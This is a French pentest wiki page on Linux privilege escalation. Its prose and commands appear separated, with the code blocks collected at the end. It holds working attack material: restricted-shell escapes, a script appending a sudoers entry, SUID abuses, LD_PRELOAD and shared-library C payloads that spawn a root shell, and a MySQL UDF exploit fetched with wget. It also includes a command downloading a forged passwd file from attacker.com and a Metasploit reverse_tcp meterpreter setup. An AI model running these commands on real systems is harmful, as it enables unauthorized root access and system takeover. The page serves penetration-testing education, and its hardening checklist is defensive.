Pentest & Bug Bounty
  • 🥷Pentest et Bug Bounty
    • 👾Pentest Methodology
    • 💸Bug Bounty Methodology
      • 📓Ecrire un bon rapport
      • ⚖️Aspect Juridique (FR)
  • 👣OSINT / Recon
    • 🧦Sock Puppet
    • 🧠Mindmaps
    • 🏢Entreprise
    • 👀Leaks
    • 👊Manuel / Dorks
      • Google dorks
      • Github dorks
      • Twitter Dorks
      • Shodan Dorks
    • 👥Réseaux sociaux (SOCMINT)
      • 🕵️Telegram OSINT
      • 👻Snapchat OSINT
      • 🤵‍♂️Linkedin OSINT
      • 🗣️Facebook OSINT
      • 🎼Tik tok OSINT
      • 📷Instagram OSINT
      • 🐦Twitter OSINT
      • 🔊Discord OSINT
    • 🖇️Domaines et Sous-domaines
    • 🚪Scan de ports / web
    • ✉️Emails
    • 🔗Réseau
    • 📷Screenshots
    • 📹Live camera
    • 🧔Reconnaissance faciale / images
    • 🌆Images
    • 🗺️Maps
    • 👁️Active Directory
    • ☁️Cloud
    • Autre
  • 🌐Pentest Web
    • ✊Brute force / Fuzzing
    • 💉Injections
      • 🍪XSS
        • PDF injection
      • 📄HTMLi
      • 📃XXE
      • 7️⃣SSTI
      • 🔢SQLi
        • 👫UNION based
        • ⏳Time based
        • 🥽Boolean based / Error Based
        • 📤Out-Of-Band
      • ↩️CRLF
      • 🐚OS injection
      • ☕Log4Shell
      • 🥠CSV
      • 🍻ESI
      • 😎XSLT
      • 💌Injections dans emails
      • 🔀ELi
        • OGNLi
    • ↪️Open redirect
    • 📁Path Traversal / LFI / RFI
    • 🔓Bypass
      • 〰️WAF / Filter bypass
      • 2️2FA
    • ☠️Charges utiles
    • 📚CMS (Content Management System)
      • WordPress
      • Joomla!
      • Magento
      • Drupal
    • 🎭SOP bypass
      • CORS
      • postMessage()
      • JSONP
    • 🖱️Clickjacking
    • ⚙️Insecure deserialization
    • ☣️Web Cache Poisoning / Deception
    • 🤝HTTP Smuggling
    • 👋OAuth
    • ⛔SAML
    • 🗝️JSON Web Token
    • 🎣CSRF
      • 🚀Cross-site WebSocket Hijacking (CSWSH)
    • 🎯IDOR
    • 🕹️SSRF
      • Cloud SSRF
      • Protocol Smuggling
    • ⚙️APIs
      • 🍽️REST
      • 📶GraphQL
    • ❓Mot de passe oublié
    • 🛒Fonctions d'achat et de facturation
    • 👽Broken authentication / register
    • 🏁Panneaux d'administration
    • ⏬Upload features
    • 🔗Broken Link Hijacking
    • 🎮Prise de contrôle de sous-domaine
    • 🛂Prise de contrôle de DNS
    • ☝️One liners
    • 🚧Misconfigurations
    • 🗿Analyse statique
      • PHP
      • Ruby On Rails
      • Perl
      • JAVA
      • Javascript
      • Python
      • Golang
      • .NET
    • 🪣AWS S3
    • 🤖Captcha
    • 🪞Race conditions
    • ☄️.git exposé
    • 💭Business logic
    • 🥡Prototype pollution
    • 💣Dependency confusion
    • 🛑DoS
      • 🤯ReDoS
      • 👏Hash flooding
      • 🧨Cookie bomb
    • Autre
      • Flask
      • Symphony
      • Spring Boot
      • Django
      • Jenkins
  • 🌩️Pentest Cloud
    • IaC (Infrastructure as Code)
      • Terraform
      • Helm
      • Kustomize
    • AWS
      • Enumeration
    • Azure
      • Entra ID
      • Azure Resource Manager (ARM)
        • Enumeration
    • GCP
      • GCP IAM
      • Authentification
      • Enumeration
    • Kubernetes
  • 🕸️Pentest Réseau
    • 🪡Protocoles réseau
    • 📡Wifi
    • 🔋BLE
    • 📍VPN
  • 🗂️Pentest AD
    • 👺GPP
    • ➡️Mouvements latéraux
      • 🔪Pass The Hash
      • 🗡️Over Pass The Hash
    • 📜ADCS
  • 📱Pentest Mobile
    • 🤖Android
      • 👾Méthodologie
      • 🌳Setup environnement
      • 🍇Collecte d'informations
      • 🔠Enumeration des données locales
      • 🔙Reverse engineering
        • 🪢Dé-obfuscation
      • ⛰️Analyse statique (Android)
      • 🐞Debug
      • 🎰Stockage de données non sécurisé
        • 📰Logs
        • 🤝Shared Preferences
        • 🔤Strings
        • 🗄️SQLite DB
        • 🗃️Realm DB
        • 🧠Mémoire
        • 📍Copy/Paste buffer caching
        • ⌨️Keyboard press caching
        • 🔙Backup
        • Carte SD
      • 🌩️Firebase/Appspot misconfig
      • 🔗Deeplinks vulns
        • Interception de contenu
        • WebView hijacking (via deeplink)
        • Invalid Digital assets links
      • 🖼️WebView vulns
        • WebView Hijacking
        • Exfiltration de données
        • RXSS
        • Vol de token
      • Guides outils
        • ⛏️Outil Drozer
          • Injections SQL (Android)
          • Path traversal (Android)
        • 🔬Outil Objection
        • 🪝Outil Frida
        • Outil Medusa / Mango
      • Bypass
        • 📲Contournement de détection d'emulateur
          • 📂Fichiers d'emulateurs
          • 🙋‍♂️Network Operator Name
        • 🦷Contournement des détections de rootage
          • 🧮Root management
          • 🗝️Clé de signature du noyau
          • 🧊Props dangereux
          • 🦸‍♂️Binaire "su"
          • ❌Permissions sur les repertoires
        • ☝️Contournement des protections biometriques
        • 📜SSL pinning bypass
        • Contournement de code PIN
      • 🔳Lecteur de code QR/EAN/Barres...
      • 💔Injection de backdoor
      • 🪧Task hijacking
      • 🎭Overlay attacks
        • Tapjacking
        • Invisible Keyboard
      • 📵Résilience
        • ⌨️Third Party Keyboards
        • ©️Allowed Copy/Paste on sensitive fields
        • 🛤️Background screen caching
        • 🖋️Schémas de signature
        • ⬆️In-App updates
      • 🤯Corruption de Mémoire
    • 🍏iOS
      • 🥅Méthodologie
      • 🧱Setup environnement (iOS)
      • ⏮️Reverse engineering (iOS)
      • 🏔️Analyse statique (iOS)
      • 🧿Contournement de détection de Jailbreak
      • 📌SSL pinning bypass (iOS)
      • 👇Contournement d'authentification biométrique
      • 🐛Contournement d'anti-Hooking/Debugging
      • 🙈Stockage de données non sécurisé (iOS)
        • 💭Mémoire (iOS)
        • 🏓Copy/Paste buffer caching (iOS)
        • 🍪Cookies (iOS)
        • 🗞️Logs (iOS)
        • ⌨️Cache du clavier (IOS)
        • Backup (IOS)
      • 📱Background screen caching
      • 🧑‍🚀WebView vulns (iOS)
      • Deeplinks vulns (iOS)
      • Lecteur de code QR
      • Firebase misc
  • 👷Pentest physique
    • 🔐Crochetage
    • 💳RFID
    • ⚙️Equipements
    • 💾Hardware Hacking
      • 📈UART
      • 🧪JTAG
      • ⚡SWD
      • 🪢SPI
      • 🚌I²C
      • 🔴Fault Injection
      • Side-Channel Attacks
    • 🐣Firmware hacking
  • 🖨️Pentest IoT
    • ⏪Replay de stream camera
    • 🗣️Assistants vocaux
    • 📹Camera IP
    • ⬇️DoS
    • 🖨️Imprimantes
    • 🎬Chromecast
  • 💀Hacking protocols
    • 😩Telnet - port 23
    • 🔐SSH - port 22
    • 📤FTP - port 21
    • ❔Whois - port 43
    • 👉DNS - port 53
    • 🐕‍🦺Kerberos - port 88
    • 💼SNMP - ports 161-162
    • 📨SMB - ports 445-139
    • 📧SMTP - ports 25-587
    • 🎦RTSP - port 554
    • 🔎MS-RPC - ports 135-593
    • ➕Rsync - port 873
    • 🔢MS-SQL - port 1433
    • 🏗️Docker - port 2375
    • 🔡MySQL - port 3306
    • 📝LDAP - ports 389, 636, 3268, 3269
    • 🖥️RDP - port 3389
    • ⌨️VNC - ports 5800,5801,5900,5901
  • 😈Ingénierie sociale
    • 🧠Concepts / Principes / Attaques
    • 🪧Ethique
    • 👤Profils comportementaux
  • 🔓Crack
  • 🛠️Autres outils utiles
    • 🚿Sandbox / Sanitizer
    • 🔤Générateurs de wordlists personnalisées
  • 🌜Post-Exploitation
    • 👔Énumération /Élévation de privilèges
      • 🐧Linux
        • CVE-2022-0847 (Dirty Pipe)
        • CVE 2021-4034 (PwnKit)
        • CVE 2021-3560 (Polkit)
      • 🪟Windows
        • 🖨️PrintNightmare
        • 🖨️SpoolFool
        • 🆔Usurpation de SAMAccountName
        • ⏲️Scheduled task/job (T1573.005)
        • 🐝HiveNightmare
        • 🔑Stored Credentials
        • 🎩SeImpersonatePrivilege
        • 🎒SeBackupPrivilege
        • 🍞Unquoted Service Path
        • 🧩DLL Hijacking
        • ©️SeBackupPrivilege
      • ⛴️Docker
    • 👻Effacement des traces
    • ⚓Persistance / Downloaders
    • 🛡️Defense evasion
    • 📦Exfiltration de Données
  • 🔎Forensic
    • 💡Méthodologie
    • 📺Live forensic
    • 💻Mémoire non volatile
    • 🕊️Mémoire volatile
    • 📄File forensic
Propulsé par GitBook
Sur cette page

Cet article vous a-t-il été utile ?

Dernière mise à jour il y a 9 mois

Cet article vous a-t-il été utile ?

Fondamentaux

Python sudoers

Escaping shells

Prise d'information de l'environnement

rbash:

rksh:

rzsh:

Ishell:

Techniques basiques

Les systèmes Linux nous fournissent différents éditeurs. (ed, ne, nano, pico, vim etc)

Certains d'entre eux fournissent des fonctionnalités tierces d'exécution de commande et de navigation dans les fichiers. Les éditeurs comme "vim" nous fournissent l'une des techniques les plus connues pour contourner les restrictions d'un shell.

Vim a une fonctionnalité permettant d'exécuter des scripts et des commandes à l'intérieur. Si vim est disponible, ouvrez-le et lancez la commande suivante:

Cela aura pour effet d'exécuter la commande ls -l et de bypasser la restriction sur la commande ls par exemple.

Il s'agit d'un exemple, on peut donc utiliser cette technique pour n'importe quelle commande.

Exemple pour lancer un shell qui ne contiendra donc pas de restrictions:

Même technique avec l'éditeur ed:

Avec less ou man:

avec awk:

Avec expect:

Avec python:

Avec Ruby:

Avec Perl:

Avec PHP:

Path variable

Binary symlink

[TODO]

Capabilities

[TODO]

SUID

/usr/bin/cp

/usr/bin/doas

/usr/bin/find

/usr/bin/micro

/usr/bin/mawk

LD_Preload

Si la réponse à un "sudo -l" renvoie la présence de la variable d'environnement LD_Preload, il est possible d'élever ces privilèges comme ceci:

1) Créer un script shell.c contenant les lignes suivantes

2) Compiler le script

$ gcc -fPIC -shared -o shell.so shell.c -nostartfiles

3) Lancer un des binaires authorisés avec sudo sans mot de passe en utilisant LD_Preload.

$ sudo LD_PRELOAD=/path/to/shell.so <binaire>

NFS Root Squash

Reconnaissance:

$ cat /etc/exports | grep no_root_squash

Si un répertoire est partagé avec ce paramètre, cela veut dire que toutes les actions faitent dans ce répertoire partagé est fait en tant que "root"

On peut alors monter le repértoire partagé sur notre machine hôte:

Il reste ensuite à créer l'exploit dans le répertoire monté et l'exécuter sur le serveur cible.

Shared Libraries

1) Lister les binaires avec des la permission 4001.

$ find / -type f -perm 4001 -exec ls -l {} \; 2> /dev/null

2) Exécuter chacun des binaires listés.

3) Si une erreur survient disant qu'une librairie est manqueante (exp: libtest.so: cannot open shared object file: No such file or direcory)

4) trouver le path dans lequel est censé se trouver la lib.

5) Créer un script shell.c contenant les lignes suivantes.

6) Compiler le script.

$ gcc -shared -fPIC -nostartfiles -o lib/libtest.so shell.c

7) Exécuter le binaire vulnérable.

Services

MySQL

Docker

Cron

Overwrite du fichier

Si on a les droits pour overwrite le fichier executé, alors il est possible de créer un shell facilement à la place du fichier original.

Overwrite du chemin

Si cron cherche le fichier sur plusieurs chemins et que le chemin complet du script d'origine n'est pas défini dans crontab, si on a les droits pour créer un fichier sur l'un des chemins recherché en premier, on est alors capable de créer un fichier du même nom dans celui-ci.

LinPEAS

LinPEAS est un script qui recherche les chemins possibles pour élever les privilèges sur les hôtes Linux/Unix*/MacOS.

Exemple d'utilisation:

$ ./linpeas.sh -a

LinuxSmartEnumeration

LinuxSmartEnumeration est un outils d'énumération Linux pour le pentesting et les CTF inspiré de l'outil LinEnum. Contrairement à LinEnum, LSE tente d'exposer progressivement l'information en fonction de son importance d'un point de vue privé.

Exemple d'utilisation:

$ ./lse.sh -l1

Lynis

Lynis est un outil d’audit de sécurité pour les systèmes basés sur UNIX comme Linux, macOS, BSD et autres. Il effectue une analyse de sécurité approfondie et fonctionne sur le système lui-même. L’objectif principal est de tester les défenses de sécurité et de fournir des conseils pour renforcer davantage le système.

Utilisation:

$ ./lynis audit system

Eviltree

Eviltree est un remake python3 de la commande classique "tree" avec la fonctionnalité supplémentaire de rechercher des mots-clés/regex fournis par l'utilisateur dans les fichiers, en mettant en évidence ceux qui contiennent des correspondances.

Exemples d'utilisation:

$ python3 eviltree.py -r path/to/repo -k passwd,admin,login,user -v

$ python3 eviltree.py -r path/to/repo -x "<regex>" -v

Ressource

ressource:

ressource:

ressource:

ressource:

hostname
whoami
id
ifconfig
uname -a
uname -m

#chercher des exploits sur la version
searchsploit -w distrib
searchsploit -w kernel_version

#mots de passe stockéqs
cat /etc/passwd

#Tables ARP
arp -a

#config réseau
/sbin/ifconfig -a; cat /etc/network/interfaces; cat /etc/sysconfig/network; cat /etc/resolv.conf

#Variables d'environnement
cat /etc/profile; cat /etc/bashrc; cat ~/.bash_profile; cat ~/.bashrc; cat ~/.bash_logout; env; set

#historiques
history; cat ~/.bash_history; cat ~/.nano_history; cat ~/.atftp_history; cat ~/.mysql_history; cat ~/.php_history

#Chercher des fichiers de conf modifiables
find /etc/ -writable -type f 2>/dev/null

#Cherches les fichiers avec permissions SUID et GUID
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 6 -exec ls -ld {} \; 2>/dev/null
find / -perm -1000 -type d 2>/dev/null
find / -perm -g=s -type f 2>/dev/null

#Vérifier que l'OS accorde bien les priv par défauts à tous les utilisateurs authentifiés.
#UMASK doit avoir pour valeur 077 est ne doit pas être commenté.
#Si ce n'est pas le cas, un utilisateur pourrait accèder à des fichiers qui ne lui appartiennent pas.
grep -i "umask" /etc/login.defs

#Vérifier si le mot de passe est bien chiffré.
#Si le mot de passe de root ne commence pas par "password_pbkdf2", il s'agit d'une mauvaise config
grep -i password /boot/grub/grub.cfg 

#Vérifier que l'OS ne détient pas d'UID's doublons pour les utilisateurs interactifs.
awk -F ":" 'list[$3]++{print $1, $3}' /etc/passwd 

#Vérifier que le groupe "sudo" ne contienne que des utilisateurs légitimes
grep sudo /etc/group

#Vérifier qu'il y a bien un timeout d'activé pour déconnecter les sessions inactives.
grep -E "\bTMOUT=[0-9]+" /etc/bash.bashrc /etc/profile.d/*

#Vérifier si le package vlock est installé
dpkg -l | grep vlock

#Vérifier que l'OS force la durée de vie minimum d'un mot de passe à 24h.
#Le cas contraire peut permettre à un utilisateur de changer de mot de passe autant de fois qu'il veut.
#Ce qui peut leur permettre de contourner la politique de mot de passe et repasser à leur ancien mot de passe.
grep -i ^pass_min_days /etc/login.defs

#Vérifier si l'execution de programme est activé
#Ubuntu
dpkg -l | grep apparmor
systemctl is-active apparmor.service
réponse attendue: active
systemctl is-enabled apparmor.service 
réponse attendue: enable
#RedHat, CentOS
sestatus

#Vérifier si le firewall est correctement configuré
ss -l46ut
ufw status

#Vérifier si les disques sont chiffrés
more /etc/crypttab

#Vérifier l'implémentation d'ASLR.
sysctl kernel.randomize_va_space
réponse attendue: kernel.randomize_va_space = 2
cat /proc/sys/kernel/randomize_va_space
réponse attendue: 2

#Vérifier la présence du package SSH
sudo dpkg -l | grep openssh
#Vérifier si le service sshd est actif et chargé
systemctl status sshd.service | egrep -i "(active|loaded)"

#Vérifier si X11Forwarding est activé dans les parametres SSH
grep -ir x11forwarding /etc/ssh/sshd_config* | grep -v "^#"
résponse attendue: X11Forwarding no

#Vérifier si des connexions inattendues ou automatiques au SSH sont possibles.
egrep -r '(Permit(.*?)(Passwords|Environment))' /etc/ssh/sshd_config
réponses attendues:
PermitEmptyPasswords no
PermitUserEnvironment no

#Vérifier le chiffrement SSH
grep -r 'Ciphers' /etc/ssh/sshd_config*
résponse attendue: Ciphers aes256-ctr,aes192-ctr ou aes128-ctr
grep -ir macs /etc/ssh/sshd_config*
réponse attendue: MACs hmac-sha2-512 ou hmac-sha2-256

#Vérifier si le timeout de session SSH est en dessous de 600 soit 10 minutes
sudo grep -ir clientalive /etc/ssh/sshd_config*
réponse attendue:
ClientAliveInterval 600
ClientAliveCountMax 1

#Vérifiez que les répertoires de bibliothèque à l échelle du système "/lib", "/lib64" et "/usr/lib" appartiennent au groupe root.
find /lib /usr/lib /lib64 ! -group root -type d -exec stat -c "%n %G" '{}' \;

#Vérifier si le null password est autorisé
grep nullok /etc/pam.d/common-password

#Vérifier si il y a des mdp vides dans /etc/shadow
awk -F: '!$2 {print $1}' /etc/shadow

#Vérifier la politique de rotation de mot de passe des utilisateurs
chage -l <username> | grep expires

#Vérifier que la réutilisation de mot de passe ne peut pas se faire avant aux moins 5 générations
grep -i remember /etc/pam.d/common-password

#Vérifier la politique de mots de passe
#Vérifier que la lib pwquality est installée
dpkg -l libpam-pwquality
#Vérifier que l'usage du package est bien activé
grep -i enforcing /etc/security/pwquality.conf
cat /etc/pam.d/common-password | grep requisite | grep pam_pwquality
réponse attendue: password requisite pam_pwquality.so retry=3
grep -i "lcredit" /etc/security/pwquality.conf
réponse attendue: lcredit=-1 
grep -i "dcredit" /etc/security/pwquality.conf  
réponse attendue: dcredit=-1
grep -i "ucredit" /etc/security/pwquality.conf
réponse attendue: credit=-1
grep -i "ocredit" /etc/security/pwquality.conf  
réponse attendue: credit=-1
grep -i "difok" /etc/security/pwquality.conf 
réponse attendue: difok=8
grep -i minlen /etc/security/pwquality.conf
réponse attendue: minlen=15
#Vérifier si la lib "cracklib" permettant d'empêcher l'usage de mots du dictionnaire dans les mdp est installée
grep dictcheck /etc/security/pwquality.conf 
réponse attendue: dictcheck=1

#Vérifier que les logs system ne sont accessibles qu'aux utilisteurs du groupe "adm"
sudo stat -c "%n %G" /var/log/syslog 
réponse attendue: /var/log/syslog adm

#Vérifier que l'accès aux fichiers de /var/log soit au mode 750 ou moins permissif
stat -c "%n %a" /var/log

#Vérifiez qu'il y ai un délai d'au moins 4 secondes entre l'invite de connexion et l'authentication failed
grep pam_faildelay /etc/pam.d/common-auth

#Vérifier que le dump du kernel soit désactivé
systemctl is-active kdump.service

#Vérifier que la connexion directe au compte root soit désactivé
passwd -S root

#Vérifier qu'il n'est pas possible de reboot le syteme avec Ctrl-Alt-Del
grep logout /etc/dconf/db/local.d/*
réponse attendue: logout=''
#!/usr/bin/env python
import os
import sys
try:
        os.system('echo "username ALL=(ALL:ALL) ALL" >> /etc/sudoers')
except:
        sys.exit()
$ cd /etc
rbash: cd: restricted
$ asdf
rbash: asdf: command not found
$ cd /etc
ksh: cd: restricted
$ asdf
ksh: asdf: not found [No such file or directory]
kali% cd /etc
cd: restricted
kali% asdf
zsh: command not found: asdf
user:~$ echo $(ls)
*** forbidden syntax: echo $(ls)
user:~$ cd /etc
*** forbidden path: /etc/
user:~$ cat /etc/passwd
*** forbidden command: cat
:!/bin/ls -l
:!/bin/sh
!'/bin/sh'
$ less .bashrc
!'sh'

$ man ls
!'sh'
$ awk 'BEGIN {system("/bin/sh")}'
$ expect
expect1.1> spawn sh
spawn sh
20302
expect1.2> sh

ou

$ expect -c 'spawn sh' -i
spawn sh
expect1.1> sh
$ python -c 'import pty; pty.spawn("/bin/sh")' 
$ irb
irb(main):002:0> exec '/bin/sh'
$ perl -e 'system("sh -i");'
$ php -a
Interactive mode enabled

php> exec("sh -i");
# Créer un faux cat
echo "bin/bash" > /tmp/cat
chmod 777 /tmp/cat
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin

# Mettre à jour le PATH
export PATH=/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin

# Aller dans le dossier restreint
/usr/sbin/cat .private.txt
# Si cp a les droits SUID, on peut copier un fichier à privilèges dans un autre dossier pour le lire
cp /etc/passwd /tmp

# Créer un nouveau compte
openssl passwd -1 -salt <username> <password>

# Puis créer un faux /etc/passwd et l'upload dans la cible et utiliser cp
wget http://attacker.com/passwd
cp passwd /etc/passwd
cat /etc/doas.conf
doas /usr/bin/less /var/log/authlog
:!sh
# Lancer des commande avec un autre utilisateur
touch user123
find user123 -exec "whoami" \;
find user123 -exec "/bin/sh" \;

# Autre méthode
find /home –exec chmod u+s /usr/bin/wget \;
ls –la /usr/bin/wget
cat /etc/passwd
# Ensuite créer un fichier passwd et l'upload
cat /etc/passwd | /usr/bin/micro

# Puis créer un nouvel utilisateur
openssl passwd -1 -salt <username> <password>
mawk 'BEGIN {system("/bin/sh")}'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
$ showmount -e <target IP>
/shared *
$ mkdir /tmp/mountme
$ mount -o rw,vers=2 <target IP>:/shared /tmp/mountme
#include <stdlib.h>
#include <unistd.h>

void _init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -i");
}
# Si MySQL fonctionne avec les droits de super utilisateur
sys_exec('usermod -a -G admin username')
Select sys_exec('whoami');
select sys_exec('/bin/bash');
Select sys_eval('whoami');
# Si MySQL fonctionne avec les droits super user en version <5
https://www.exploit-db.com/exploits/1518/

# Rechercher et compiler l'exploit
searchsploit –m 1518.c
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc
wget http://192.168.1.109/1518.so
chmod 777 1518.so

mysql –u root –p
use mysql;

# Exploitation
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
create function do_system returns integer soname '1518.so';
select do_system('chmod u+s /usr/bin/find');
# Si l'utilisateur peut lancer docker
docker run –v /root:/hack -t debian:jessie /bin/sh -c 'ls -al /hack'

# Docker privesc avec metasploit
msf > use exploit/linux/local/docker_daemon_privilege_escalation
msf exploit(linux/local/docker_daemon_privilege_escalation) >  set lhost 192.168.1.116
msf exploit(linux/local/docker_daemon_privilege_escalation) >  set payload linux/x86/meterpreter/reverse_tcp
msf exploit(linux/local/docker_daemon_privilege_escalation) >  set session 1
msf exploit(linux/local/docker_daemon_privilege_escalation) >  run
  1. 🌜Post-Exploitation
  2. 👔Énumération /Élévation de privilèges

🐧Linux

PrécédentÉnumération /Élévation de privilègesSuivantCVE-2022-0847 (Dirty Pipe)
  • Fondamentaux
  • Python sudoers
  • Escaping shells
  • Prise d'information de l'environnement
  • Techniques basiques
  • Path variable
  • Binary symlink
  • Capabilities
  • SUID
  • LD_Preload
  • NFS Root Squash
  • Shared Libraries
  • Services
  • MySQL
  • Docker
  • Cron
  • Overwrite du fichier
  • Overwrite du chemin
  • LinPEAS
  • LinuxSmartEnumeration
  • Lynis
  • Eviltree
  • Ressource
https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
https://github.com/diego-treitos/linux-smart-enumeration
https://github.com/CISOfy/lynis
https://github.com/t3l3machus/eviltree
https://book.hacktricks.xyz/linux-unix/privilege-escalation